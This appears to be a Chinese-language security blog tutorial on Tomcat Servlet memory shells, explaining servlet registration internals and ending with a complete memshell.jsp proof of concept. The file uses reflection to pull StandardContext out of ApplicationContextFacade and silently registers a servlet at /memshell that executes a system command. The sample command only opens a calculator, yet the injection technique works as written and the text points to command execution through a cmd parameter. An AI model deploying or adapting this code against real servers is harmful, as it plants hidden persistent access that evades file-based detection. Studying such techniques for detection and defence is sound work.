Servlet内存马

约 25 分钟读完

Servlet内存马

Servlet内存马的技术原理

Tomcat等容器的Servlet加载机制

  1. 启动与初始化
    • 当Tomcat启动时,它会解析web.xml文件(或读取@WebServlet注解)来获知需要加载哪些Servlet。
    • 对于每个定义的Servlet,容器会创建其类的一个实例,并调用其 init() 方法进行一次性初始化。这个过程是静态的,在应用启动时完成。
  2. 请求处理流程
    • 当一个HTTP请求到达Tomcat时,它首先会被Connector接收。
    • 然后,请求被传递到对应的Engine -> Host -> Context(即你的Web应用)。
    • Context层面,容器根据请求的URL路径,去查找匹配的Servlet。这个映射关系存储在StandardContext对象的servletMappings属性中。
    • 找到对应的Servlet后,容器会调用该Servlet的 service() 方法,进而根据请求方法分派到 doGet()doPost() 等方法。
  3. 关键洞察
    • 这个流程的核心是 StandardContext。它是整个Web应用的运行时代表,持有了所有Servlet的定义(children)、映射关系(servletMappings)以及过滤器、监听器等。
    • 内存马的目标,就是在运行时动态地向这个StandardContext中插入一个恶意的Servlet并为其分配一个URL映射。

StandardContext 在 Tomcat 中的角色

  • StandardContext 实现了 Context 接口,而 Context 接口继承了 ServletContext。因此,在 Tomcat 中,StandardContext 的实例可以被强转为 ServletContext
  • 它是整个 Web 应用的“管理中心”,主要功能包括:
    • 解析 web.xml 或注解配置
    • 注册并管理所有的 Servlet、Filter、Listener
    • 提供 addServlet()addListener() 等动态注册 API
    • 维护请求映射表(URL Pattern → Servlet)
    • 触发应用级别的事件(如 ContextInitialized

🔑 为什么它是内存马的关键? 因为攻击者一旦能获取到 StandardContext 实例,就可以绕过 web.xml 或注解,就可以通过 Wrapper 动态注册 Servlet,将恶意 Servlet 注入到当前应用中 —— 这正是 Servlet 型内存马的核心入口

关键组件详解

1. Context(上下文)

  • 对应一个完整的 Web 应用(如 myapp.war
  • 在 Tomcat 中实现类为 StandardContext
  • 职责:
    • 管理该应用下的所有 Servlet、Filter、Listener
    • 维护 ServletContext 对象(全局唯一的上下文环境)
    • 处理 URL 映射(mapping)
    • 支持动态添加/移除 Servlet(Servlet 3.0+)
ServletContext context = request.getServletContext();

2. Wrapper

  • 是 Tomcat 内部对 Servlet 的封装
  • 每个 Servlet 都对应一个 Wrapper 实例
  • 负责 Servlet 的生命周期管理(创建、初始化、调用、销毁)
  • 可通过 Context.findChildren() 获取所有 Wrapper
StandardContext ctx = ...; 
Object[] wrappers = ctx.findChildren(); // 返回 Wrapper 数组
for (Object wrapper : wrappers) {
    System.out.println("Servlet Name: " + ((Wrapper)wrapper).getName());
}

3. Servlet

  • 用户编写的业务逻辑类(如 LoginServlet.java
  • 被 Wrapper 包装后由容器统一调度

核心原理

Servlet 内存马的本质是动态向 Web 容器(如 Tomcat、Jetty)注册一个恶意 Servlet,并通过容器的请求分发机制触发恶意代码。其核心依赖于:

  1. Web 容器的 Servlet 注册机制(如 Tomcat 的ServletContext接口);
  2. 反射技术获取容器内部对象(避开权限限制);
  3. 恶意 Servlet 的service方法作为触发点(处理 HTTP 请求时执行恶意逻辑)。

代码演示

Servlet简单演示

写一个简单的servlet

package org.example.listendemo;  
  
import javax.servlet.ServletException;  
import javax.servlet.http.HttpServlet;  
import javax.servlet.http.HttpServletRequest;  
import javax.servlet.http.HttpServletResponse;  
import java.io.IOException;  
  
public class ServletDemo extends HttpServlet {  
    @Override  
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {  
        // 获取请求参数  
        String name = req.getParameter("name");  
        if (name == null) name = "Guest";  
        // 响应结果  
        resp.getWriter().write("Hello, " + name + "!");  
    }  
}

功能:接收前端的name参数,返回 “Hello, XXX”。 然后在web.xml中配置进行静态注册

<servlet>  
    <servlet-name>ServletDemo</servlet-name>  
    <servlet-class>org.example.listendemo.ServletDemo</servlet-class>  
</servlet>  
<servlet-mapping>  
        <servlet-name>ServletDemo</servlet-name>  
    <url-pattern>/servletdemo</url-pattern>  
</servlet-mapping>

然后配置好Tomcat后启动项目, 访问该url: /servletdemo http://localhost:8080/LIstenDemo_war_exploded/servletdemo 然后就可以看到页面输出了

注意

==但是在这个过程中, 可以看到我们配置路径实在web.xml中静态注册, 或者也可以使用@WebServlet配置, 但都是静态配置, 提前配置好的== 这个注册过程在Tomcat启动之前就好了, 运行时无法修改 但内存马的目标时在运行时偷偷测住Servlet, 跳过静态配置 所以在运行时调用 Tomcat 的addServletaddMapping方法,就能注册一个 “看不见” 的 Servlet 了—— 这就是内存马的核心思路。

内存马

由此, 我们就可以手搓一个内存马 首先分析上面servlet的执行过程, 先进行配置. 因为要分析tomcat, 所以在pom.xml中添加配置, 版本和自己的Tomcat的版本保持一致

<dependency>  
    <groupId>org.apache.tomcat</groupId>  
    <artifactId>tomcat-catalina</artifactId>  
    <version>9.0.58</version>  
</dependency>

在分析Servlet的执行流程过程前, 可以通过下面文章了解Tomcat的执行过程. Tomcat请求流程源码调试 | 三大组件内存马浅析: https://mp.weixin.qq.com/s/eVo2ldW_Vemy31HZR0vUbw Tomcat源码初识一 Tomcat整理流程图

在Tomcat中,Servlet的加载过程分为两个主要阶段:应用启动时的静态配置加载和运行时的动态注册。ContextConfig.configureContext(WebXml webxml)主要负责第一种情况。 ContextConfig.configureContext(WebXml webxml)的作用 ContextConfig是Tomcat中负责配置Context容器的类,它会读取web.xml文件并将配置信息应用到StandardContext中。

静态配置加载过程

当Tomcat启动Web应用时,会执行以下步骤:

  • 解析web.xml文件:
    • ContextConfig读取并解析web.xml文件
    • 将配置信息存储在WebXml对象中
  • 调用configureContext方法:
    • ContextConfig.configureContext(WebXml webxml)方法会处理WebXml中的配置
    • 对于Servlet配置,会创建Wrapper并添加到StandardContext 除了 web.xmlContextConfig 还会扫描类路径下的 @WebServlet@WebFilter 等注解(需 metadata-complete="false"),并将它们合并到 WebXml 对象中,后续处理逻辑完全一致 上面项目通过web.xml配置加载的: 当Tomcat启动时,ContextConfig会:
    1. 解析这段配置
    1. 在configureContext方法中创建一个名为"ServletDemo"的Wrapper
    1. 将Wrapper添加到StandardContext的children容器中
    1. 添加URL映射关系:"/servletdemo" -> "ServletDemo" 所以在org.apache.catalina.startup.ContextConfig文件configureContext方法打个断点进行分析 断点后调试, 分析 servlets 是一个 HashMap 类型的变量,用于存储 Web 应用中所有已配置的 Servlet 的相关信息 ,键是 Servlet 的名称,值是 ServletDef 类型的对象 servletMappings 是一个 HashMap 类型的变量,它维护了 URL 模式和 Servlet 名称之间的映射关系 ,即通过这个数据结构,Tomcat 能够知道当接收到某个 URL 请求时,应该将请求转发给哪个 Servlet 进行处理。 configureContext中的处理流程 在configureContext方法中,对于Servlet配置的处理大致如下:
// 简化的处理流程
protected void configureContext(WebXml webxml) {
    // 处理Servlet定义
    for (ServletDef servletDef : webxml.getServlets().values()) {
        Wrapper wrapper = context.createWrapper();
        wrapper.setName(servletDef.getServletName());
        wrapper.setServletClass(servletDef.getServletClass());
        // 设置其他属性...
        
        // 添加到Context容器
        context.addChild(wrapper);
    }
    
    // 处理Servlet映射
    for (ServletMappingDef mapping : webxml.getServletMappings()) {
        context.addServletMappingDecoded(
            mapping.getUrlPattern(), 
            mapping.getServletName());
    }
    
    // 处理其他配置...
}

在这里核心代码就是 这两行, 所以在注入内存马的时候, 只需要调用

context.addChild(wrapper);  
context.addServletMappingDecoded(entry.getKey(), entry.getValue());

所以需要获取context, 分析调用堆栈, 可知context来自于StandardContext ContextConfigStandardContext 的生命周期监听器(LifecycleListener)。在 Tomcat 启动时,StandardContext 会将自身作为事件源传递给 ContextConfig,因此 ContextConfig.context 字段实际指向的就是当前 Web 应用的 StandardContext 实例。 这是正常的静态配置的接在servlet的过程

动态配置--注入内存马

基于上面的分析, 我们只需要能够获取StandardContext实列,然后调用addChild()和addServletMappingDecoded()方法就可以注入内存马 虽然 StandardContext 提供了 addChild() 方法,但问题是:

  • StandardContext 是 Tomcat 内部实现类,不在标准 API 中暴露。
  • 我们的恶意代码运行在 Servlet 或 Filter 中,无法直接引用它。 但我们有一个“合法入口”——每个 HTTP 请求都能访问的:
ServletContext servletContext = request.getServletContext();

这个 servletContext 对象看似只是一个标准接口,但实际上它背后隐藏着 StandardContext 的真实实例。我们要做的,就是通过反射一层层“剥开”它的包装。

  • 🧩 1. Tomcat 的包装结构:三层嵌套

在 Tomcat 中,ServletContext 的实现采用了门面模式(Facade Pattern),目的是对外暴露安全接口,隐藏内部复杂结构。 其真实结构如下:

request.getServletContext()
    ↓
返回类型:ServletContext (接口)
    ↓
实际对象:ApplicationContextFacade ← 我们拿到的“门面”
             ↓
           applicationContext (字段) → ApplicationContext ← 中间包装
                                          ↓
                                        context (字段) → StandardContext ← 真实目标 ✅
类名 作用
ServletContext Java EE 标准接口,应用层唯一可见的入口
ApplicationContextFacade 门面类,防止用户直接操作内部对象
ApplicationContext 内部包装类,持有对 StandardContext 的引用
StandardContext Tomcat 核心类,真正管理 Servlet 的生命周期
基于此, 构造servlet内存马

流程:

  1. 创建恶意Servlet类
  2. 获取context:StandardContext(通过反射)
  3. 从context获取Wrapper对象
  4. 将自己的Servlet封装进wrapper对象
  5. 将wrapper添加到上下文并设置映射路径

1. 创建恶意Servlet类

<%@ page import="java.io.IOException" %><%--  
  Created by IntelliJ IDEA.  User: User  Date: 2025/10/18  Time: 15:41  To change this template use File | Settings | File Templates.--%>  
<%@ page contentType="text/html;charset=UTF-8" language="java" %>  
<%!  
    // 定义一个恶意servlet  
    public class ShellServlet extends HttpServlet {  
        @Override  
        public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, IOException {  
            Runtime.getRuntime().exec("calc");  
        }  
    }
%>

2. 获取context:StandardContext(通过反射)

// 方式1:通过 request(最常用)
ServletContext servletContext = request.getServletContext();
StandardContext standardContext = (StandardContext) servletContext;

// 方式2:通过 Thread Context ClassLoader(无 request 时)
WebAppClassLoader webAppClassLoader = (WebAppClassLoader) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webAppClassLoader.getContext();

为什么能强转?
因为 Tomcat 中 StandardContext 实现了 ServletContext 接口。

3. 调用 context.createWrapper() 创建一个全新的 Wrapper

Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("evil"); // Servlet 名称(必须唯一)
wrapper.setServlet(evilServlet); // 直接设置 Servlet 实例(绕过类加载)

🔑 关键点:

  • 不要调用 setServletClass()(那样会走类加载 + init,可能失败)
  • 直接 setServlet(instance) 才能确保恶意逻辑生效

4. 将 Wrapper 添加到 StandardContext

standardContext.addChild(wrapper);
  • 这会将 wrapper 加入 StandardContext.children 容器
  • 后续请求分发时,Tomcat 能找到这个 Servlet

5. 注册 URL 映射路径

standardContext.addServletMappingDecoded("/evil", "evil");
  • 第一个参数:访问路径(如 /evil
  • 第二个参数:Servlet 名称(必须与 wrapper.setName() 一致)

✅ 此时访问 http://target/evil?cmd=whoami 即可触发内存马。

完整内存马

<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.*" %> <!-- 导入反射相关类,用于突破 private 限制 -->
<%@ page import="org.apache.catalina.core.*" %> <!-- 导入 Tomcat 核心类:StandardContext、ApplicationContext 等 -->
<%@ page import="org.apache.catalina.Wrapper" %> <!-- Wrapper 是 Tomcat 中包装 Servlet 的容器组件 -->
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%--
  文件名: memshell.jsp
  功能: Tomcat Servlet 型内存马注入 PoC
  作者: [你的名字]
  日期: 20251018日
  描述: 通过反射获取 StandardContext,动态注册恶意 Servlet,实现无文件 WebShell。
--%>

<%!
    // ==================== 定义恶意 Servlet(静态内部类)====================
    // 注意:此处 ShellServlet 虽未显式声明为 static,但在实际运行中仍可能被当作 static 处理
    //      但为了安全起见,建议显式添加 static,避免持有外部 JSP 实例引用导致类加载问题

    public class ShellServlet extends HttpServlet {

        // 构造函数(可选)
        public ShellServlet() {
            super();
        }

        // 重写 doGet 方法,处理 HTTP GET 请求
        @Override
        public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
            try {
                // 执行系统命令:弹出计算器(Windows 系统)
                Runtime.getRuntime().exec("calc");

                // 其他平台示例:
                // macOS: Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
                // Linux: Runtime.getRuntime().exec("gnome-calculator");

            } catch (Exception e) {
                // 异常不会返回给客户端,但会记录在服务器日志中
                e.printStackTrace();
            }
        }

        // 重写 doPost 方法,使其与 doGet 行为一致
        @Override
        public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException {
            doGet(request, response);
        }
    }
%>

<%
    // ==================== 获取 StandardContext 实例 ====================
    // 目标:获取 Tomcat 的 StandardContext 对象,它是管理 Servlet 生命周期的核心组件
    // 路径:ServletContext → ApplicationContextFacade → ApplicationContext → StandardContext
    // 原理:Tomcat 使用门面模式(Facade)保护内部对象,我们通过反射“剥开”这层封装

    // 从当前请求中获取 ServletContext 对象
    // ServletContext 是整个 Web 应用的全局上下文,每个请求都能访问
    ServletContext servletContext = request.getServletContext();

    try {
        // --- 第一步:从 ServletContext 获取 ApplicationContext ---
        // request.getServletContext() 返回的是 org.apache.catalina.core.ApplicationContextFacade
        // 它是一个门面类,内部通过 private 字段 context 持有真正的 ApplicationContext 实例
        Field applicationContextField = servletContext.getClass().getDeclaredField("context");
        // setAccessible(true) 允许访问 private 字段,突破 Java 访问控制
        applicationContextField.setAccessible(true);
        // 获取 ApplicationContext 实例
        ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
        // 此时我们拿到了 ApplicationContext,它是 ApplicationContextFacade 的内部包装对象

        // --- 第二步:从 ApplicationContext 获取 StandardContext ---
        // ApplicationContext 内部通过 protected 字段 context 持有 StandardContext 的引用
        // StandardContext 是 Tomcat 中对应 <Context> 的实现类,负责管理 Servlet、Filter 等
        Field standardContextField = applicationContext.getClass().getDeclaredField("context");
        standardContextField.setAccessible(true);
        // 获取 StandardContext 实例
        StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
        // ✅ 成功获取 StandardContext!现在我们可以动态注册 Servlet 了

        // ==================== 创建并配置 Wrapper ====================
        // 在 Tomcat 中,Servlet 不是直接添加到 Context 的,而是通过 Wrapper 包装
        // Wrapper 是 Tomcat 的“管道”组件,用于封装 Servlet 实例及其配置

        // 创建一个新的 Wrapper 实例
        Wrapper wrapper = standardContext.createWrapper();

        // 设置 Wrapper 的名称(唯一标识符)
        wrapper.setName("memshell");
        // 这个名称将在 addServletMappingDecoded 中使用,必须唯一且一致

        // 设置 Wrapper 要加载的 Servlet 类名
        // 注意:setServletClass() 是告诉容器“按需加载”该类
        // 但因为我们已经 new 了一个实例,所以这个设置不是必须的
        wrapper.setServletClass(ShellServlet.class.getName());

        // 直接设置 Servlet 实例(推荐方式)
        // 这样可以避免类加载器找不到内部类的问题(如 JSP 编译后的 $ShellServlet)
        wrapper.setServlet(new ShellServlet());

        // ==================== 注册 Servlet 到容器 ====================
        // 将包装好的 Wrapper 添加到 StandardContext 的子组件列表中
        // 相当于在 web.xml 中定义了:
        // <servlet>
        //     <servlet-name>memshell</servlet-name>
        //     <servlet-class>ShellServlet</servlet-class>
        // </servlet>
        standardContext.addChild(wrapper);

        // 将 URL 路径 "/memshell" 映射到名为 "memshell" 的 Servlet
        // addServletMappingDecoded 表示路径已经是解码状态(无需 URL 解码)
        // 相当于在 web.xml 中定义了:
        // <servlet-mapping>
        //     <servlet-name>memshell</servlet-name>
        //     <url-pattern>/memshell</url-pattern>
        // </servlet-mapping>
        standardContext.addServletMappingDecoded("/memshell", "memshell");

        // 可选:向客户端返回成功信息
        out.println("<html><body><h3>✅ Memory Shell Injected!</h3>");
        out.println("Access <a href='/memshell'>/memshell</a> to trigger calc.</body></html>");

    } catch (Exception e) {
        // 捕获所有异常,防止页面崩溃暴露细节
        out.println("<html><body><h3>❌ Injection Failed: " + e.getMessage() + "</h3></body></html>");
        // 打印堆栈到服务器日志(仅管理员可见)
        e.printStackTrace();
    }
%>
← Java内存马1 Filter型内存马 →